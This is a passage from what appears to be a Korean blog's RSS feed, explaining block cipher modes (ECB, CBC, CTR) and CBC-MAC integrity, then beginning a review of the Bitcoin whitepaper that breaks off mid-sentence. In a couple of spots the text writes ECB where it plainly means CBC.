historydata=&quot;%3Cflashrichtext%20version%3D%221%22%3E%0A%20%20%3Ctextformat%20font%3D%22Dotum%22%20size%3D%2216%22%20color%3D%222236962%22%20bold%3D%22false%22%20italic%3D%22false%22%20underline%3D%22false%22%20url%3D%22%22%20target%3D%22transparent%22%20align%3D%22left%22%20leftMargin%3D%2225%22%20rightMargin%3D%2225%22%20indent%3D%220%22%20leading%3D%220%22%20blockIndent%3D%220%22%20kerning%3D%22true%22%20letterSpacing%3D%220%22%20display%3D%22block%22%3E%28%7B%20P%20%7D_%7B%20i%20%7D%5Cquad%20%3D%5Cquad%20D%28%7B%20C%20%7D_%7B%20i%20%7D%2C%5Cquad%20K%29%5Cquad%20%5Cquad%20i%5Cquad%20%3D%5Cquad%200%2C%5Cquad%201%2C%5Cquad%202%5Cquad%20%5Ccdots%20%29%3C/textformat%3E%0A%3C/flashrichtext%3E%2C%0A14%2C%0A0xFFFFFF&quot; width=&quot;312&quot; height=&quot;27&quot;&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;각각의 block을 암호화와 복호화할 때 같은 key를 여러번 사용하는것이 특징이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;ECB mode는 각각 독립적으로 암호화 하는 특징 때문에 Cut and Paste attack에 취약하다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;만일 평문이 아래와 같다고 가정하자.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;M4RC0 love Bob. Trudy love&amp;nbsp;Tom.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;64bit block cipher를 사용한다고 가정하면 아래와 같이 4개의 평문으로 나뉜다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;P0 = M4RC0 lo&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;P1 = ve Bob.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;P2 = Trudy lo&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;P3 = ve Tom.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;각각의 평문을 암호화 하면 C0, C1, C2, C3가 얻어진다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;하지만 공격자가 C0, C3, C2, C1의 순서로 전달하고, 송신자와 수신자가 이를 알아차리지 못하면 전혀 다른 뜻이 전달 될 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;M4RC0 love Tom. Trudy love Bob&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;ECB mode의 또 다른 취약점은 같은 key를 반복하여 사용한다는 것이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;같은 평문을 가지면 같은 암호문이 생긴다. 이를 이용해 공격자가 평문의 일부분을 알게 될 수 잇다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;또한 유추도 가능하다. 아래의 그림을 참고하면 쉽다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 567px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99ED354A5C1DB15A26&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99ED354A5C1DB15A26&quot; width=&quot;567&quot; height=&quot;346&quot; filename=&quot;이미지 013.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192); font-size: 18pt;&quot;&gt;CBC (Cipher Block Chaining)&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;ECB mode의 약점을 보완한 mode이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;암호 블록 연결 모드라 불리며 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;각각의 block들이 의존적으로 서로 연결&lt;/span&gt;되어 있다. ECB mode보다 훨씬 안정적이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;CBC를 사용한 암호화는 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;img class=&quot;txc-formula&quot; src=&quot;https://t1.daumcdn.net/cfile/tistory/99E3764C5C1DB21D28&quot; historydata=&quot;%3Cflashrichtext%20version%3D%221%22%3E%0A%20%20%3Ctextformat%20font%3D%22Dotum%22%20size%3D%2216%22%20color%3D%222236962%22%20bold%3D%22false%22%20italic%3D%22false%22%20underline%3D%22false%22%20url%3D%22%22%20target%3D%22transparent%22%20align%3D%22left%22%20leftMargin%3D%2225%22%20rightMargin%3D%2225%22%20indent%3D%220%22%20leading%3D%220%22%20blockIndent%3D%220%22%20kerning%3D%22true%22%20letterSpacing%3D%220%22%20display%3D%22block%22%3E%28%7B%20C%20%7D_%7B%20i%20%7D%5Cquad%20%3D%5Cquad%20E%28%7B%20P%20%7D_%7B%20i%20%7D%5Cquad%20%5Cbigoplus%20%5Cquad%20%7B%20C%20%7D_%7B%20i-1%20%7D%2C%5Cquad%20K%29%5Cquad%20%5Cquad%20i%5Cquad%20%3D%5Cquad%200%2C%5Cquad%201%2C%5Cquad%202%5Cquad%20%5Ccdots%20%29%3C/textformat%3E%0A%3C/flashrichtext%3E%2C%0A14%2C%0A0xFFFFFF&quot; width=&quot;385&quot; height=&quot;27&quot;&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;CBC를 사용한 복호화는 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;img class=&quot;txc-formula&quot; src=&quot;https://t1.daumcdn.net/cfile/tistory/99AD67475C1DB24716&quot; historydata=&quot;%3Cflashrichtext%20version%3D%221%22%3E%0A%20%20%3Ctextformat%20font%3D%22Dotum%22%20size%3D%2216%22%20color%3D%222236962%22%20bold%3D%22false%22%20italic%3D%22false%22%20underline%3D%22false%22%20url%3D%22%22%20target%3D%22transparent%22%20align%3D%22left%22%20leftMargin%3D%2225%22%20rightMargin%3D%2225%22%20indent%3D%220%22%20leading%3D%220%22%20blockIndent%3D%220%22%20kerning%3D%22true%22%20letterSpacing%3D%220%22%20display%3D%22block%22%3E%28%7B%20P%20%7D_%7B%20i%20%7D%5Cquad%20%3D%5Cquad%20D%28%7B%20C%20%7D_%7B%20i%20%7D%2C%5Cquad%20K%29%5Cquad%20%5Cbigoplus%20%5Cquad%20%7B%20C%20%7D_%7B%20i-1%20%7D%5Cquad%20%5Cquad%20i%5Cquad%20%3D%5Cquad%200%2C%5Cquad%201%2C%5Cquad%202%5Cquad%20%5Ccdots%20%29%3C/textformat%3E%0A%3C/flashrichtext%3E%2C%0A14%2C%0A0xFFFFFF&quot; width=&quot;386&quot; height=&quot;27&quot;&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;첫 번째 block을 만들기 위한 암호문 block이 없기 때문에 초기화 백터(IV, Initialization Vector)&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;라는 것을 처음에만 사용한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;CBC를 사용한 처음 블록 &lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;암호화는 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;img class=&quot;txc-formula&quot; src=&quot;https://t1.daumcdn.net/cfile/tistory/992E0B445C1DB2B61A&quot; historydata=&quot;%3Cflashrichtext%20version%3D%221%22%3E%0A%20%20%3Ctextformat%20font%3D%22Dotum%22%20size%3D%2216%22%20color%3D%222236962%22%20bold%3D%22false%22%20italic%3D%22false%22%20underline%3D%22false%22%20url%3D%22%22%20target%3D%22transparent%22%20align%3D%22left%22%20leftMargin%3D%2225%22%20rightMargin%3D%2225%22%20indent%3D%220%22%20leading%3D%220%22%20blockIndent%3D%220%22%20kerning%3D%22true%22%20letterSpacing%3D%220%22%20display%3D%22block%22%3E%28%7B%20C%20%7D_%7B%200%20%7D%5Cquad%20%3D%5Cquad%20E%28%7B%20P%20%7D_%7B%200%20%7D%5Cquad%20%5Cbigoplus%20%5Cquad%20IV%2C%5Cquad%20K%29%29%3C/textformat%3E%0A%3C/flashrichtext%3E%2C%0A14%2C%0A0xFFFFFF&quot; width=&quot;207&quot; height=&quot;27&quot;&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;CBC를 사용한 처음 블록&amp;nbsp;복호화는 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;img class=&quot;txc-formula&quot; src=&quot;https://t1.daumcdn.net/cfile/tistory/99806D355C1DB2CD27&quot; historydata=&quot;%3Cflashrichtext%20version%3D%221%22%3E%0A%20%20%3Ctextformat%20font%3D%22Dotum%22%20size%3D%2216%22%20color%3D%222236962%22%20bold%3D%22false%22%20italic%3D%22false%22%20underline%3D%22false%22%20url%3D%22%22%20target%3D%22transparent%22%20align%3D%22left%22%20leftMargin%3D%2225%22%20rightMargin%3D%2225%22%20indent%3D%220%22%20leading%3D%220%22%20blockIndent%3D%220%22%20kerning%3D%22true%22%20letterSpacing%3D%220%22%20display%3D%22block%22%3E%28%7B%20P%20%7D_%7B%200%20%7D%5Cquad%20%3D%5Cquad%20D%28%7B%20C%20%7D_%7B%200%20%7D%2C%5Cquad%20K%29%5Cquad%20%5Cbigoplus%20%5Cquad%20IV%5Cquad%20%5Cquad%20i%5Cquad%20%3D%5Cquad%200%2C%5Cquad%201%2C%5Cquad%202%5Cquad%20%5Ccdots%20%29%3C/textformat%3E%0A%3C/flashrichtext%3E%2C%0A14%2C%0A0xFFFFFF&quot; width=&quot;376&quot; height=&quot;27&quot;&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;IV값은 비밀이 아니라 공개된 값이다. 송신자가 임의로 만들어 알리면 된다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;ECB 모드를 사용하면 각 block들이 chain 처럼 순차적으로 말려 들어가 동일한 평문이 암호화 되어도 다른 암호문을 만들어낸다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;ECB의 특징으로는 error 복구 능력이 강하다는 것이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;만일 암호문을 송신자가 수신자에게 보낼 때 블록 하나만 깨지더라도 두 개의 평문 block에만 영향을 준다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;C0, C1, C2 ... CN의 암호 block&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;중 C1 block이 깨졌다고 가정하면 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;img class=&quot;txc-formula&quot; src=&quot;https://t1.daumcdn.net/cfile/tistory/9976AA3E5C1DB4E12C&quot; historydata=&quot;%3Cflashrichtext%20version%3D%221%22%3E%0A%20%20%3Ctextformat%20font%3D%22Dotum%22%20size%3D%2216%22%20color%3D%222236962%22%20bold%3D%22false%22%20italic%3D%22false%22%20underline%3D%22false%22%20url%3D%22%22%20target%3D%22transparent%22%20align%3D%22left%22%20leftMargin%3D%2225%22%20rightMargin%3D%2225%22%20indent%3D%220%22%20leading%3D%220%22%20blockIndent%3D%220%22%20kerning%3D%22true%22%20letterSpacing%3D%220%22%20display%3D%22block%22%3E%28%7B%20P%20%7D_%7B%201%20%7D%5Cquad%20%5Cneq%20%5Cquad%20D%28%7B%20C%20%7D_%7B%201%20%7D%2C%5Cquad%20K%29%5Cquad%20%5Cbigoplus%20%5Cquad%20%7B%20C%20%7D_%7B%200%20%7D%5C%5C%20%7B%20P%20%7D_%7B%202%20%7D%5Cquad%20%5Cneq%20%5Cquad%20D%28%7B%20C%20%7D_%7B%202%20%7D%2C%5Cquad%20K%29%5Cquad%20%5Cbigoplus%20%5Cquad%20%7B%20C%20%7D_%7B%201%20%7D%5C%5C%20%7B%20P%20%7D_%7B%203%20%7D%5Cquad%20%3D%5Cquad%20D%28%7B%20C%20%7D_%7B%203%20%7D%2C%5Cquad%20K%29%5Cquad%20%5Cbigoplus%20%5Cquad%20%7B%20C%20%7D_%7B%202%20%7D%29%3C/textformat%3E%0A%3C/flashrichtext%3E%2C%0A14%2C%0A0xFFFFFF&quot; width=&quot;211&quot; height=&quot;97&quot;&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;즉 두 번째 이후 block 부터는 깨진 block에 대해 영향을 받지 않기 때문이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;CBC mode의 예시는 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 567px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99B26A3A5C1DB5792D&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99B26A3A5C1DB5792D&quot; width=&quot;567&quot; height=&quot;346&quot; filename=&quot;이미지 013.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 18pt; background-color: rgb(250, 244, 192);&quot;&gt;CTR (Counter mode)&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;CTR mode는 IV를 선택해서 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;IV를 counter&lt;/span&gt; 하여 사용하는 것이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;이전 block이 필요하지 않고 병렬화 가능해서 속도가 빠르고 효율성이 높다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;CTR&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;를 사용한 암호화는 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;img class=&quot;txc-formula&quot; src=&quot;https://t1.daumcdn.net/cfile/tistory/9975EF3F5C1DB74232&quot; historydata=&quot;%3Cflashrichtext%20version%3D%221%22%3E%0A%20%20%3Ctextformat%20font%3D%22Dotum%22%20size%3D%2216%22%20color%3D%222236962%22%20bold%3D%22false%22%20italic%3D%22false%22%20underline%3D%22false%22%20url%3D%22%22%20target%3D%22transparent%22%20align%3D%22left%22%20leftMargin%3D%2225%22%20rightMargin%3D%2225%22%20indent%3D%220%22%20leading%3D%220%22%20blockIndent%3D%220%22%20kerning%3D%22true%22%20letterSpacing%3D%220%22%20display%3D%22block%22%3E%28%7B%20C%20%7D_%7B%20i%20%7D%5Cquad%20%3D%5Cquad%20%7B%20P%20%7D_%7B%20i%20%7D%5Cquad%20%5Cbigoplus%20%5Cquad%20E%28IV%5Cquad%20+%5Cquad%20i%2C%5Cquad%20K%29%5Cquad%20%5Cquad%20i%5Cquad%20%3D%5Cquad%200%2C%5Cquad%201%2C%5Cquad%202%5Cquad%20%5Ccdots%20%29%3C/textformat%3E%0A%3C/flashrichtext%3E%2C%0A14%2C%0A0xFFFFFF&quot; width=&quot;417&quot; height=&quot;27&quot;&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;CTR&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;를 사용한 복호화는 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;img class=&quot;txc-formula&quot; src=&quot;https://t1.daumcdn.net/cfile/tistory/995A0E405C1DB7532E&quot; historydata=&quot;%3Cflashrichtext%20version%3D%221%22%3E%0A%20%20%3Ctextformat%20font%3D%22Dotum%22%20size%3D%2216%22%20color%3D%222236962%22%20bold%3D%22false%22%20italic%3D%22false%22%20underline%3D%22false%22%20url%3D%22%22%20target%3D%22transparent%22%20align%3D%22left%22%20leftMargin%3D%2225%22%20rightMargin%3D%2225%22%20indent%3D%220%22%20leading%3D%220%22%20blockIndent%3D%220%22%20kerning%3D%22true%22%20letterSpacing%3D%220%22%20display%3D%22block%22%3E%28%7B%20P%20%7D_%7B%20i%20%7D%5Cquad%20%3D%5Cquad%20%7B%20C%20%7D_%7B%20i%20%7D%5Cquad%20%5Cbigoplus%20%5Cquad%20E%28IV%5Cquad%20+%5Cquad%20i%2C%5Cquad%20K%29%5Cquad%20%5Cquad%20i%5Cquad%20%3D%5Cquad%200%2C%5Cquad%201%2C%5Cquad%202%5Cquad%20%5Ccdots%20%29%3C/textformat%3E%0A%3C/flashrichtext%3E%2C%0A14%2C%0A0xFFFFFF&quot; width=&quot;417&quot; height=&quot;27&quot;&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 18pt; background-color: rgb(250, 244, 192);&quot;&gt;&lt;b&gt;Integrity&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Integrity는 무결성으로서 비인가된 사람이 data를 수정하는것을 방지하는 것이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;block cipher에서 무결성을 확인하기 위해 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;MAC(Message Authentication Code)&lt;/span&gt;를 사용한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;MAC은 단지 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;CBC 모드에서 마지막 block을 MAC으로 사용&lt;/span&gt;한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;송신자는 평문과 MAC을 수신자에게 보내고 수신자는 평문을 이용해 MAC을 구해 송신자의 MAC과 수신자의 MAC을 비교해 message가 변경되었는지 확인 할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;CBC mode는 각각의 block이 chain처럼 연결 되어있기 때문에 중간에 평문 block이 변경되면 MAC에 영향을 주어 MAC값이 수정된다. 따라서 이를 이용해 integrity를 보장할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Crypto, Access Control, Protocol</category>
      <author>MarcoKhan</author>
      <guid isPermaLink="true">https://marcokhan.tistory.com/231</guid>
      <comments>https://marcokhan.tistory.com/231#entry231comment</comments>
      <pubDate>Sat, 22 Dec 2018 13:12:18 +0900</pubDate>
    </item>
    <item>
      <title>Bitcoin: A peer-to-Peer Electronic Cash System</title>
      <link>https://marcokhan.tistory.com/230</link>
      <description>&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;block chain과 bitcoin을 공부하기 위해&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 18.6667px;&quot;&gt;satoshi Nakamoto&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;의 논문을 review 및 설명 하려고 합니다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 18pt; background-color: rgb(228, 247, 186);&quot;&gt;1. Introduction&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;현재의 거래 시스템을 생각해보면 다음과 같은 방식으로 거래가 진행된다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;내가 M4RC0에게 물건을 사기 위해서 나는 제 3의 신용기관인 금융기관을 통해 거래가 이루어진다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;이러한 거래 시스템은 신뢰 기반으로 잘 작동하지만, 신뢰 기반이라는 약점을 항상 가지고 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;또한 거래 시스템에서 거래 내용이 가역적이다. 즉, 모든 거래는 되돌릴 수 있는 거래이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;이런 가역적 특성 때문에, 거래자와, 상인은 피해를 볼 수 있고, 그에 대해 금융기관이 수수료를 갖는 형식으로 진행된다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;제 3의 신용기관인 금융기관을 실제로 설립하고, 운영하기 위해 많은 비용이 들어간다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Satoshi Nakamoto는 이러한 제 3의 신용기관인 금융기관을 이용하지 않고, &lt;/span&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192); font-size: 14pt;&quot;&gt;암호학을 기반으로 거래 시스템&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;을 만들 수 있다고 생각한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;암호학 기반의 거래 시스템은 제 3의 신용기관이 필요 없이 거래 가능한 시스템이면서 비 가역적이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;암호학 기반의 거래 시스템에서 발생할 수 있는 문제는 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;double-spending(이중 사용)&lt;/span&gt;의 문제인데, 이러한 문제를 해결하는 방법은 뒤에서 나올 timestamp를 이용해 해결 가능하다. 이 시스템에 참여하고 있는 각각의 참여자는 정직하다는 기반으로 작동한다. 만일 이 시스템에 참여한 참여자 중 50% 이상이 attack의 목적을 가지고 있으면 제대로 작동할 수 없다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 18pt; background-color: rgb(228, 247, 186);&quot;&gt;2. transaction&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Satoshi Nakamoto가 제안한 거래는 일반적으로 제 3 신뢰기관인 금융기관을 통해 거래하는것과는 차이가 있다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;현재의 거래 시스템은 금융기관을 통해 &quot;통장&quot;으로 돈이 들어오고 &quot;통장&quot;에서 돈이 나간다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;암호학 기번의 거래 시스템은 나에게 주어진 코인을 모아 남에게 전송하거나 나에게 전송하는것이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;이 과정은 현재의 거래 시스템과 비슷하다고 생각할 수 있지만, 실제는 다르다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;만일 내가 M4RC0에게 3btc을 보내고 싶다면 block chain 거래 시스템에 속해 있는 모든 노드들에게 &quot;내가 M4RC0에 3btc을 보낼거야&quot;라고 전달한다. 여기서 M4RC0는 내가 돈을 보낸 M4RC0가 자기 자신인 것을 입증해야하고, 그것은 private key를 통해 증명할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;만일 M4RC0가 private key를 잃어버리거나 노출되면, coin을 얻거나 전달할 수 없다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;거래 과정을 쉽게 알기 위해서, 아래의 의미를 알면 이해하기 쉽다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;개인키(private key)&lt;/span&gt;: 비트코인에서 난수로 만들어지는 개인적 256 bit key&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;공개키(public key)&lt;/span&gt;: 개인키로부터 뽑아낼 수 있는 공개된 key이다. public key를 통해 private key를 유추할 수 